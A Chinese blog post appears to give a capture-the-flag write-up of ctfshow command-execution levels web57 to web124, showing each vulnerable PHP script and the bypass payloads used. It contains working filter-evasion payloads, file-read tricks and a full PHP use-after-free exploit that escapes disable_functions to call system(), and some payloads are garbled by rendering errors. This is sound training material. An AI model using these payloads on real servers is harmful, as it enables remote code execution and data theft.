ctfshow+web入门（命令执行）

已于 2023-05-27 14:31:44 修改
阅读量837 收藏 1
点赞数
文章标签： 安全 web安全 网络
于 2023-05-27 00:49:37 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_59448417/article/details/130895842
版权

web57

<?php 

  /* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-08 01:02:56 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 
*/ 

  // 还能炫的动吗？ 
  //flag in 36.php 
  if(isset($_GET['c'])){ 
  $c=$_GET['c']; 
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ 
  system("cat ".$c.".php"); 
} 
}else{ 
  highlight_file(__FILE__); 
}

根据题目我们可以知道flag在36.php里面，只需要传一个36进去就好，但是这里字母和数字都被过滤了
这里需要用到一个linux函数的特性 $(()) ，当参数为空是，返回默认为0，0取反为-1，一直相加的话到-36再取反即可
试了好久才得到36
图片.png

 $((~ $(( $((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))  ))    ))

直接get即可
然后返回页面中查看源码

?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-07 19:40:53
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{01333dbd-e660-4b0a-a8e1-efc5ba838ff7}";

web58

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这道题的话很明显啊，直接post传参进去调用系统函数
c=system(cat flag.php);发现一些常用的函数被禁用了
图片.png这里我们知道 /var/www/html/ 目录中只有 index.php 和 flag.php 两个文件，因此直接读取flag.php
直接读取文件内容
c=echo file_get_contents(‘flag.php’);

web59

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这里的话上道题的文件读取被禁了，可以试试include
c=include($_GET[1])
然后再get上传?1=php://filter/convert.base64-encode/resource=flag.php（这里有一说一，群主自用hack bar 是真的好用）
图片.png
得到结果后直接再解码回来就可以
图片.png

web60

这里代码同上只不过隐藏过滤的函数更多了
其实这道题用上一个的payload也可以做出来，不过这里学到了一个新姿势通过日志来getshell
先上传一下
图片.png暂时没有回显
图片.png发现可以使用，不过我们本来就可以命令执行，大聪明却绕了一圈（仅作学习请勿参考hhhhhhhhh）
发现题目中存在函数highlight_file(),那肯定是没有禁止，试了一下果然可以
c=highlight_file(‘flag.php’);
图片.png

web61

代码还是一样
这里可以尝试c=highlight_file(‘flag.php’);和c=show_source(‘flag.php’);

web62

还是一样
可以利用上题代码进行白嫖
这里又学到一个骚姿势
直接使用文件包含然后echo输出
c=include(‘flag.php’);echo ($flag);
图片.png

web63

继续白嫖hhhhhh
又是一个骚操作
c=var_dump(get_defined_vars());
查看定义的变量
图片.png
c=include(‘flag.php’);var_dump(get_defined_vars());（相当于把flag这个变量注册进去了）
图片.png

web64

老规矩先白嫖发现可以hhhhhhh
rename（）重命名也是一种方法可惜这里被禁了

web65

我继续白嫖hhhhh
不过还有curl的方法这道题也被禁了，简单网上copy个代码改一下

//初始化
$curl = curl_init();
//设置抓取的url
curl_setopt($curl, CURLOPT_URL, 'http://www.baidu.com');//这里替换url即可
//设置头文件的信息作为数据流输出
curl_setopt($curl, CURLOPT_HEADER, 1);
//设置获取的信息以文件流的形式返回，而不是直接输出。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
//执行命令
$data = curl_exec($curl);
//关闭URL请求
curl_close($curl);
//显示获得的数据
print_r($data);

想再试试远程文件获取c=file_get_contents(‘flag.php’);
果然也被禁了（还是白嫖之前的highlight_file()和show_source()）

web66

终于之前白嫖的不能用了
图片.png
明明highlight_file()是可以的
然后看看是不是改名字或者换位置了
先看看当前目录是啥
c=var_dump(scandir(‘.’));
图片.png
这里面的这个flag是假的，然后在上一级目录找找
上一级目录也没有，最后在根目录里面发现了
图片.png
然后还是白嫖之前的函数，不过文件的位置要变一下
仔细一试发现show_source()被禁了,不过可以用highlight_file()
c=highlight_file(‘/flag.txt’);

web67

终于又可以白嫖了，位置没变上次的payload继续用

web68

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

这把连highlight_file()都禁了，明显不让白嫖了hhhhhhhh
一样先扫目录发现还是在根目录里
使用文件包含
c=include(‘/flag.txt’);

web69

这次可以继续白嫖上一题hhhhhhhh

web70


Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗？

这道题可以继续白嫖上面的，虽然禁的函数多了，暂时还没到咱们用的那个hhhhhhh

web71

终于71白嫖上题失败了，并且回显的字符全是问号，不过可以下载附件，咱们先看看

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗？

这波的话他直接清空缓冲区了，并且还不给你报错了，全是？
这次想着从中间给他断开，直接exit退出
c=include(‘/flag.txt’);exit();
直接退出不给他执行后面命令的机会

web72

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗？

open_basedir限制了你读取目录
这里只好用glob来协议绕过扫描一下
c= $a=“glob:///*”;
if($b=opendir($a)){
while (($file=readdir($b))!==false)
{echo KaTeX parse error: Expected 'EOF', got '}' at position 16: file." ";<br />}̲<br />closedir(b);
};
发现了文件flag0.txt
然后需要用到uaf脚本来绕过了hhhhhhh，感谢群主提供的脚本

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

将脚本编码一下就ok了

web73

这道题本来想白嫖上道的payload，结果发先不可以了，有个函数被禁了，不过小问题找个替换函数即可
图片.png先看下这个是干啥用的
strlen函数：计算的是字符串str的长度，从字符的首地址开始遍历，以 ‘\0’ 为结束标志，然后将计算的长度返回，计算的长度并不包含’\0’。
自己写出功能替代他

function strlen_users($s){
   return count(str_split($s));
}

然后发现还报错
扫描目录

c=$a="glob:///*.txt";
if($b=opendir($a)){
while (($file=readdir($b))!==false)
{echo $file." ";
}
closedir($b);
};
exit();

发现改名了，成了flagc.txt
本来想替换函数的，结果到最后还是不行，后来发现这道没有禁include（兜兜转转最后还是你hhhhhhh）
c=include(‘/flagc.txt’);exit();

web74

这次扫描目录发现名字变了，不过可以继续用include
c=include(‘/flagx.txt’);exit();

web75

这道题虽然还可以扫描，发现了flag36.txt，但是include被禁用了
不过还好学到一个新姿势连接数据库

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

这边也是顺利拿下了flag（我是试时候在火狐失败了，不过在google可以hhhhhh）

web76

还是老规矩先扫描,发现改名了 flag36d.txt（咱也不知道是故意的还是不小心的）
继续利用上道题的payload
居然可以用，改个名字就好，爽歪歪

web77

也是先扫描文件发现 flag36x.txt
然后试试上题代码结果could not find driver
这次要用到他的一个特性

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

然后再访问1.txt即可

web118

这次换成有界面的了hhhhhhh
这次题中有讲flag in flag.php，所以确定了位置
然后试了好多命令都被禁了，看看他的提示
本来他是有张提示的图片的，可惜现在打不开了，凑合看一下
图片.png可以试试剪裁，他的环境变量里面有n有l，试试拼接nl
$PWD是显示当前的目录最后一位正好是L
$PATH是显示环境变量/bin最后一位是N
进行拼接 ${PATH:A}${PWD:A}$IFS???.???
查看源码即可

web119

本来想白嫖的，发现也被禁了hhhhh
最后payload是${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}: ${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}???.???
主要是题目中的PHP_CFLAGS中存在tac，所以一直构造数字来取到tac
图片.png

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这把被禁了好多，本来想白嫖上道题的payload，但是呢发现长度太长了，超过了他限制的65个字符
${PHP_VERSION:?:?} ???.???花括号里面的？要表示3，所以呢这波留给我们构造的字符只有20个，太少了不够用
然后思考base64 flag.php
???${#PHP_VERSION}${PHP_CFLAGS:~A}
这个执行发现没有响应
用绝对路径试一下/bin/base64 flag.php
构造/的话用到${PWD:: ${#SHLVL}}
4是用的PHP_CFLAGS最后一位（后来发现超出大小了）
摇色子吧hhhhhhh${#RANDOM}
payload ${PWD:: ${#SHLVL}}???${PWD:: ${#SHLVL}}???${#RANDOM} ???.???
这道题的离谱之处在于我的火狐浏览器POST传就会出问题，而我用谷歌就正常，哎

web121


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

先白嫖发现不行了
这把发现SHLVL被禁了，这里我们需要一个1
试了好多次都不太行，用一个坤术
$? 代表上一次命令执行的结果，1为不正常，0为正常
所以先随便输一个错误的然后再利用payload碰运气（不过这个几率还是很大的啊，我一次就成了，不会搞很多次）
${PWD::\ ${#?}}???${PWD::\ ${#?}}???${#RANDOM} ???.???

web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这道题过滤了#，PWD不过前面？把#删掉也问题不大，看看后面#RANDOM怎么办
也改用？，然后把PWD换成HOME，不过这样的话就要多试几次了
code=<A;${HOME::\ $?}???${HOME::\ KaTeX parse error: Expected 'EOF', got '}' at position 2: ?}̲?????{RANDOM::\ $?} ???.???
注意别点过头了把正确的给跳过去

web124

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这里只能用他给出的数学函数，这里尝试构造出一个get出来，使用get传参
_GET转成十六进制是0x5f474554，由十六进制转为十进制1598506324。
可以利用数学函数，由十进制转成字符。这需要用到两个函数dechex()、hex2bin()。
_GET=hex2bin(dechex(1598506324))
dechex()：十进制转十六进制
hex2bin()：十六进制转二进制，返回 ASCII 字符
base_convert(number,frombase,tobase)：可以在任意进制之间转换数字
_GET=base_convert(37907361743,10,36)(dechex(1598506324))
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php
然后源码即可查看

树脂与鸡脚
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
CTFshow web入门之命令执行总结
小白的博客
05-10 358
1、命令执行函数。
ctfshow web139命令盲注脚本
10-21
ctfshow靶场 web入门 web139 命令盲注脚本
Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全
Jay17的博客
08-16 3001
Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全
CTFshow web入门之命令执行（web29-web77）
小白的博客
05-10 1321
2、然后上传一个new2.php文件并抓包，多试几次，因为不一定生成的临时文件的最后一个字母是大写，文件内容如下。1、先构造一个文件上传的html页面，代码如下（test-fileupdown.html）3、在上传文件的过程中，抓包，之后添加参数c=.%20/?4、所以传入这个参数的意思就是匹配上传command.php所生成的临时文件，并执行。接着直接用cat flag.php查看一下flag.php文件就好了。略（与web41相同）
最新CTFShow web1-7——CTF秀WEB模块解题思路_ctfshow web题目解析
最新发布
2401_84264727的博客
05-04 689
这一关的重点在于注释, 由于开发人员的疏忽, 忘记删除注释中的敏感数据, 右键检查网页源码即可拿到 flag。
ctfshow web入门之命令执行
uuzfumo的博客
12-17 1063
命令执行姿势
CTFShow-Web入门
weixin_58546222的博客
12-15 656
CTFShow爆破解题思路
ctfshow web系列
RealIiikun的博客
04-07 940
源代码要求v1为为字母，v2为数字，并且v1与v2的md5值相同md5漏洞介绍：PHP在处理字符串时，它把每一个以“0E”开头的哈希值都解释为0所以只要v1与v2的md5值以0E开头即可。常见的0e开头的MD5和原值QNKCDZO240610708。
CTFSHOW web193 left标注盲注脚本
05-04
这段代码是一个用于获取某个网站的 flag 的脚本。它使用了 SQL 注入漏洞来获取 flag。具体来说，它通过构造 SQL 语句的方式，逐个字符地获取 flag。其中，它通过修改注入语句中的 payload 变量，来获取不同的信息，...
CTFSHOW web183 正则爆破脚本
10-21
CTFSHOW web183 正则爆破脚本
ctfshow web184 正则爆破脚本0x16进制
10-21
ctfshow web184 正则爆破脚本0x16进制
ctfshow web214 时间盲注标准脚本
10-21
ctfshow web214 时间盲注标准脚本
【ctfshow—web】——信息搜集篇1（web1~20详解）
练习时长两年半的CTF爱好者
02-22 1941
此题为 【从0开始学web】系列第二十题 此系列题目从最基础开始，题目遵循循序渐进的原则 希望对学习CTF WEB的同学有所帮助。
CTFshow web入门 web41~web55 命令执行
qq_56815564的博客
04-15 1345
这回是真正意义上的禁用了这些命令了，以前还能通过中间添加一些特殊符号来绕过的，现在是完全不能使用了，毕竟 . 后面跟上一个通配符后，就完全不能在中间加点什么了。简单分析一下，if中的语句第一个是输出GET传入的参数、第二个是执行c的语句后得到的东西赋值给d、第三个是换行后在输出d的内容。但是留下了一个一个或运算符（ | ）空格不能用可以使用tab键代替，url编码是%09，反正tab是最多是4个空格，多几个空格也不会怎样。说到底，这么多能有回显的函数，也不差cat这一个，形式有这么多，也不差分号这一个。
ctfshow web入门 内网渗透篇
羽的博客
06-26 2191
首先在登录函数中存在doFilter对传入的用户名密码进行过滤，所以很难去注入。再来看下另外一台靶机，因为存在web服务，但是又不能出网所以通过ssh端口映射到本地来。没错，可以用phar，毕竟我们还有个文件上传的功能，后面需要做的就是这么触发phar。没有使用doFilter函数过滤，只是要求了我们传入的参数需要符合email格式。先看下445端口，靶机给我们提供了msf，所以直接用msf打下Samba。在api/index.php中存在一个写文件的功能，假如可以控制。的值，就可以写入一个木马进去。
CTFshow web56 57 58 59 60-65
ChenD的学习笔记
11-12 895
CTFshow web56 web57 web58 web59 web60 web61 web62 web63 web64 web65
ctfshow web入门 爆破web25详解
m0_73860001的博客
07-11 625
这里说一下为什么这样做，因为如果我直接打开终端，接着输入【tar -zxvf php_mt_seed-4.0.tar.gz】的话我这台虚拟机上会报错，但我对这个虚拟机不熟悉，去找了一些资料有以为博主是输入了绝对路径解决这个报错的，【tar -zxvf 绝对路径】，我懒得去找绝对路径就有感而发从那里试了试，没想到成功了。4.随后【下载】那里会出现一个【php_mt_seed-4.0】的文件夹，右键出现菜单点击【从这里打开终端】这里我是在【./php_mt_seed 2078517280】加了一个.c，
CTFSHOW-web入门-信息搜集，爆破，命令执行
Yb_140的博客
02-19 4909
目录 Web入门 信息搜集 web3 web4 web5 web6 web7 web8 web9 web10 web11 web12 web13 web14 web15 web16 web17 web18 web19 web20 爆破 web21 web22 web23 web24 web25 web26 web27 web28 命令执行 web29 web30 web31 web32 web33 web34 web35 web36
ctfshow-Web入门-sherlock
m0_58327783的博客
04-13 488
信息泄露可以参考https://blog.csdn.net/a597934448/article/details/105431367。
ctfshow web入门命令执行
09-05
在CTF中，web入门命令执行指的是通过Web应用程序的漏洞，将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息，可以看到一些常见的双写绕过...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

树脂与鸡脚

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值